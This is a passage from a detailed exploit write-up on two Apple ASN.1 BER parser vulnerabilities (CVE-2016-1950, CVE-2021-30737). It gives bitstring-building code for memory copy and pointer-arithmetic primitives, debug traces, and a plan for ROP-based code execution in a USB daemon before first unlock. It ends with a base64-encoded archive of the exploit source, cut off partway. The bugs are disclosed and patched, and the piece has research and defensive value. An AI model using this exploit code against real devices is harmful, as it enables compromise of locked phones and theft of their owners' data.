FILLER_LEN + 2 * 8, 'g'); // leave the pointer dangling over 'dest' // switch to 'afterConstructedString' and trigger a copyout from subitem via sec_asn1d_concat_substrings CONS_BITSTRING(3 + 112); START_BITSTRING(0, 112); PUSH8(0x4b4b4b4b4b4b4b4b); // dest: any { 0, NULL } PUSH8(0ULL); // our_mark PUSH8(0x4b4b4b4b4b4b4b4c); // parent: previous object PUSH8(0ULL); // child PUSH8(13ULL); // place: afterConstructedString PUSH8(0xdfULL); // check_tag_mask PUSH8(3ULL); // found_tag_number PUSH8(3ULL); // expect_tag_number PUSH8(3ULL); // underlying_kind PUSH8(1ULL + 112); // contents_length PUSH8(1ULL + 112); // pending: +1 PUSH8(3ULL); // consumed PUSH4(11); // depth PUSH4(0); // bit_string_unused_bits PUSH8(0x4b4b4b4b4b4b4b4d); // subitems_head: &subitem 0x4b4b4b4b4b4b4b4b must point to a temporary empty `dest`. This is needed to dodge some assertions. Not quite mandatory, because the assertions are missing from the Release binaries, I'm just being pedantic. 0x4b4b4b4b4b4b4b4c must be the parent of the object we are manipulating. It is placed at a known address. 0x4b4b4b4b4b4b4b4d is the subitem (or head of a subitem chain) which points to the source data. The net effect of the code above is: memcpy(0x4141414141414160, 0x4b4b4b4b4b4b4b41, 8); If multiple copyouts are desired, we can chain the subitems and also chain the initial PORTArenaPool to other PLArena structures. In contrast to the previous chapters' primitives, this allows us to copy whatever data into the destination, not merely scalar values. And we did it without overly complicated contraptions to pivot the input buffer. Looking back at the old code I cannot stop wondering what the fuck was I thinking back then. It is a total garbage. -- 4.2.1 - Copyin The copyin is a bit different. It represents the ability to copy data from any arbitrary address into local scratch space. This can be achieved with `sec_asn1d_prepare_for_contents`. We can't exactly tell where to copy to, but this is just a minor inconvenience, because said data is copied into a new `our_pool` allocation, which is inside the scratch space, hence we can calculate where it will end up: if (item) { item->Data = (unsigned char*)sec_asn1d_zalloc(poolp, alloc_len); } len = 0; for (subitem = state->subitems_head; subitem != NULL; subitem = subitem->next) { PORT_Memcpy (item->Data + len, subitem->data, subitem->len); len += subitem->len; } item->Length = len; Here's how to trigger it: // cause a state object allocation with known parent CONS_BITSTRING(3 + FILLER_LEN + 112 + 38); START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'i'); REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'i'); // leave the pointer dangling over 'dest' // switch back to 'afterLength' and trigger a copyin from subitem via sec_asn1d_prepare_for_contents CONS_BITSTRING(3 + 112); START_BITSTRING(0, 112); PUSH8(0x4b4b4b4b4b4b4b4f); // dest: any { 0, NULL } PUSH8(0ULL); // our_mark PUSH8(0x4b4b4b4b4b4b4b50); // parent: previous object PUSH8(0ULL); // child PUSH8(5ULL); // place: afterLength PUSH8(0xdfULL); // check_tag_mask PUSH8(3ULL); // found_tag_number PUSH8(3ULL); // expect_tag_number PUSH8(0x400ULL); // underlying_kind: SEC_ASN1_ANY PUSH8(0ULL); // contents_length: 0 PUSH8(1ULL + 112); // pending: +1 PUSH8(3ULL); // consumed PUSH4(11); // depth PUSH4(0); // bit_string_unused_bits PUSH8(0x4b4b4b4b4b4b4b47); // subitems_head: &subitem 0x4b4b4b4b4b4b4b4f must point to a temporary empty `dest`. This is needed to make sure the copyin is done at the next available `our_pool` address, which can be calculated and therefore it is considered known. 0x4b4b4b4b4b4b4b50 must be the parent of the object we are manipulating. It is placed at a known address. 0x4b4b4b4b4b4b4b47 is the subitem (or head of a subitem chain) which points to the address to read from. The data will be placed at the next available address in the scratch space. The net effect of the code above is: memcpy(next_alloc(our_pool), 0x4545454545454545, 8); And since `our_pool` is pinned to the scratch space, we can calculate where the destination will be. -- 4.2.2 - Arithmetic Arithmetic represents the ability to do some sort of addition/subtraction. Since we want to avoid a multi-step exploit and perform everything in one go, we need to work out some shared cache addresses. For example, if we'd want to find the address of `vm_remap` function, we can simply execute the following equivalent operation: vm_remap = &kSecAsn1BitStringTemplate + addend; The addend above is constant for a given shared cache and can be calculated beforehand. The addition itself is done in `sec_asn1d_next_substring`. In case it is not obvious, the relevant code is this: state->consumed += child_consumed; The operation is done by using two discarded state objects. First make sure `child->consumed` holds the addend (this is a matter of a simple write) and then use a copyout to set `state->consumed` to `kSecAsn1BitStringTemplate`. After the operation, `state->consumed` holds the result of the addition. START_BITSTRING(0, 16); // SecAsn1Item PUSH8(0ULL); // Length PUSH8(0x4b4b4b4b4b4b4b41); // Data: &state#1->our_mark // state#1 (promptly discarded) CONS_BITSTRING(3 + 2); // Vader // state#2 (promptly discarded) CONS_BITSTRING(3); // Zon START_BITSTRING(0, 0); // Use SecAsn1Item to prepare state#1 and state#2. START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'e'); REP_BITSTRING(0, FILLER_LEN + 2 * 8, 'e'); // leave the pointer dangling over 'dest' CONS_BITSTRING(3 + 8 + 4 + 232); START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b49); // 'dest' -> &SecAsn1Item = { 0, &state#1->our_mark } START_BITSTRING(0, 232); PUSH8(-1ULL); // our_mark: -1 PUSH8(0x4b4b4b4b4b4b4b4a); // parent: where we want to resume PUSH8(0x4b4b4b4b4b4b4b4b); // child: &state#2 PUSH8(8ULL); // place: duringConstructedString PUSH8(0xdfULL); // check_tag_mask PUSH8(3ULL); // found_tag_number PUSH8(3ULL); // expect_tag_number PUSH8(3ULL); // underlying_kind PUSH8(1ULL); // contents_length PUSH8(0x4242424242424242); // pending: ADDEND PUSH8(0ULL); // consumed: POINTER PUSH8(0x4b4b4b4b4b4b4b51); // depth...: serve as arg = &string PUSHR(0x80, 0); // (bleed over into state#2) PUSH8(0x4242424242424242); // consumed: ADDEND // Insert here copyout of any state->theTemplate to &state#1->consumed, // where the POINTER is expected to be. ... // And here follows the addition per se: // cause a state object allocation with known parent CONS_BITSTRING(3 + FILLER_LEN + 8 + 51); START_BITSTRING(0, 0); CONS_BITSTRING(3 + 5); REP_BITSTRING(0, 5, 'h'); REP_BITSTRING(0, FILLER_LEN + 4 * 8, 'h'); // leave the pointer dangling over 'parent' // switch to 'duringConstructedString' and trigger addition via sec_asn1d_next_substring CONS_BITSTRING(3 + 8); START_BITSTRING(0, 8); PUSH8(0x4b4b4b4b4b4b4b4e); // parent: state#1 We can chain multiple state#1/state#2 pairs to perform multiple additions in one go, with one addend for each pair. The last object used for addition must have its parent pointing back to the object we left off. +-----------------------------------------------+ v | +---------------------+ +--------------------+ | | discarded obj |-->| discarded obj | | | state#1[n] = parent | | state#2[n] = child | | +---------------------+ +--------------------+ | | ^ | | | +- addition#n -+ | ~ ~ | | v | +---------------------+ +--------------------+ | | discarded obj |-->| discarded obj | | | state#1[1] = parent | | state#2[1] = child | | | +---------------------+ +--------------------+ | | | ^ | | | | +- addition#1 -+ | v v | +-------------+ | | parent |------+ | +-------------+ | | | ^ v | | | +------------+ | | +--X--|YOU ARE HERE|-------------------------------+ | +------------+ v Here we see state 0x102b627f0 transitioning to 102b62198 which performs the addition, and then transitioning back to 0x102b626c8 and resuming execution normally: sec_asn1d_parse_leaf: memcpy(0x102b62758 + 5 = 0x102b6275d, "6868686868686868", 179) sec_asn1d_parse_leaf: pre-existing value = 0x867b806a20000000 STATE transition 0x102b626c8 -> 0x7f867b80b620 STATE transition 0x7f867b80b620 -> 0x102b626c8 sec_asn1d_push_state:430: zalloc(144) -> 0x102b627f0 in arena o_pool/0x0 (left -1) STATE transition 0x102b626c8 -> 0x102b627f0 sec_asn1d_parse_leaf: len=2401, @1953 sec_asn1d_parse_leaf: item = BIT_STRING, item->len = 1472, len = 8 state = 0x102b627f0 top = 0x7f867b806a20 theTemplate = 0x102b7b2e0 dest = 0x7f867b809620 our_mark = 0x0 parent = 0x102b626c8 contents_length = 9 pending = 8 consumed = 3 depth = 12 allocate = 0 indefinite = 0 sec_asn1d_parse_leaf: memcpy(0x102b62758 + 184 = 0x102b62810, "102b62198", 8) sec_asn1d_parse_leaf: pre-existing value = 0x102b626c8 STATE transition 0x102b627f0 -> 0x102b62198 STATE transition 0x102b62198 -> 0x102b626c8 STATE transition 0x102b626c8 -> 0x7f867b80b620 STATE transition 0x7f867b80b620 -> 0x7f867b809328 STATE transition 0x7f867b809328 -> 0x7f867b80b620 STATE transition 0x7f867b80b620 -> 0x7f867b809328 STATE transition 0x7f867b809328 -> 0x7f867b80b620 -- 4.3 - Assembling the pieces The last missing bit is achieving code execution. This can be done the same way we did in the old exploit, using `top->filter_proc(top->filter_arg)`. Bypassing PAC is considered a security bug in its own right, this writeup is meant to illustrate strictly the ASN.1 bugs. As a consequence, defeating other mitigations than ASLR is left as an exercise to the reader. Now that we have all pieces, we are ready to build the exploit, using the following strategy: - use a number of copyouts to place a small number of template pointers in the expected object pairs, prepared for addition; - perform a series of pointer arithmetic to compute the respective number of gadgets; - use a chained copyin to assemble certain data fragments interleaved with the aforementioned gadgets, effectively building a bootstrap ROP strip; - copyout a JOP gadget over `top->filter_proc` and the address of said ROP strip over `top->filter_arg`, which will pivot the stack; - the bootstrap ROP strip does the following: - vm_remap the shared cache at a fixed address; - jump to stage2 relocator, which relocates the rest of stage2, using only gadgets from the remapped cache; - enter late stage2 which has full ROP functionality. Of course, this is but one way of doing it. Please keep in mind that our primitives are quite expensive in terms of bitstring space, and therefore we aim to complete the chain with minimal effort. Finally, we "relocate" the PKCS#7 for whichever address we believe it would be a viable scratch space. Relocating means translating all those addresses we know about: 0x4b4b4b4b4b4b4b... The result will be sent over USB as an IAP2 authentication packet to accessoryd, using whatever MFi tool. Note: we do not need a real IAP certificate, because the exploit kicks in before the certificate is even validated and it does everything in one go. If we miss, accessoryd will likely crash and we may need to restore the USB connection. Then we can build another PKCS#7 (for another address) or just keep retrying the old one. Eventually, one of them is bound to hit a usable scratch address and succeed. Note: these daemons listening over USB are not throttled. Also, it makes no difference if the shared cache is reslid upon daemon restart, since we have the ability to recalculate the gadgets during each retry. The only thing that matters is to reach a writable scratch area we can use. It does not matter what this area contains, and it does not have to be at a specific address. It just has to be. Everything is computed during decoding with the aid of the hijacked ASN.1 machinery, provided it has a little bit of manoeuvring space. -- 5 - Conclusions This article has begun in Spring 2021, its main purpose was to detail the CVE-2016-1950 exploit. But as I was writing, trying hard to remember five years old details, I realised the exploit used two bugs: one that was fixed and the other one (which I completely forgot about) that was still there. I knew it was somehow exploitable on its own, so I reported it to Apple, on 16 April 2021. It was fixed in iOS 14.6 beta 3 (18F5065a) dated 10 May 2021 and it would later become CVE-2021-30737[7] of iOS 14.6 (18F72) release. It was also backported to iOS 12.5.4 for end-of-life devices. An interesting side-note: to my knowledge, Apple started to use Mozilla NSS ASN.1 parser in MacOSX Panther, 2003: SecurityNssAsn1-11.tar.gz. And while CVE-2016-1950 was inherited from the original codebase, CVE-2021-30737 was never in Mozilla code; it seems to be an Apple-only addition. I do not know what was the purpose of the change, perhaps they wanted to take a shortcut for empty bitstrings for speed reasons, I guess we will never know. Here ends our journey into the ASN.1 parser vulnerabilities. CVE-2016-1950 has been fixed in iOS 9.3 and CVE-2021-30737 was fixed in iOS 14.6, five years later. Both bugs affected virtually all Apple products: iPhone, iPad, Macs, etc. While the two bugs are completely unrelated, it may be that the former can be turned into an exploit without the latter. I never tried to do it that way. What we know now is the old bug greatly helped the newer one -- but as we can see, CVE-2021-30737 was powerful enough to carry the weight of a full exploit on its own. These bugs are interesting because they can be used to mount a full attack against daemons listening on the phone Before First Unlock over USB. This means pretty much game over for 32bit devices, since those do not have SEP. On 64bit devices, however, the exploit can be used as a starting point for further exploration. Another interesting aspect is that a sizeable part of these exploits, that is, everything we accomplish with the bitstring is architecture agnostic, only the bitness matters. For example, the resulting bitstrings can be tested on x86_64 and then used on arm64. Ditto for i386 vs armv7. Last, but not least, there are some lessons to be learned. First of all, you should never use an Arena allocator in security sensitive contexts. Yes, Arenas are fast, easy to implement from a programmer point of view and they seem appealing. They can also get you pwned, because the memory blocks are laid out in a predictable fashion. Actually, to be more blunt, stay the fuck away from any kind of allocator with inline meta-data. Second, BER is a hairy beast. BER parsers tend to become extremely complex and complexity is the enemy of security. If you must handle ASN.1, use DER whenever possible. There are examples of alloc-less DER parsers which do a pretty good job and seem very secure when used properly, such as libDER. Third, never ever mess with complex state machines that you do not fully understand. All the assertions were useless, with one notable exception (which may or may not be possible to dodge) so even if they were left in the Release binaries, it didn't matter greatly. State machines are hard! Human brains are great for many things, but state machines is definitely not one of those. -- 6 - References [0] https://support.apple.com/en-us/HT206166 [1] https://en.wikipedia.org/wiki/ASN.1 [2] https://opensource.apple.com/release/os-x-10114.html [3] https://en.wikipedia.org/wiki/Region-based_memory_management [4] https://tools.ietf.org/html/rfc3369 [5] https://www.cvedetails.com/cve/CVE-2016-4656/ [6] https://www.cvedetails.com/cve/CVE-2016-4655/ [7] https://support.apple.com/en-us/HT212528 -- 7 - Source code The source code was designed to work on iPhones, but it happens to work on macOS, too. Make sure you respect the bitness and use the correct libraries for each of the included examples: Security-57337.20.44 for the first bug and Security-59754.80.3 for the second one. begin-base64 644 bitstring.tar.xz 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 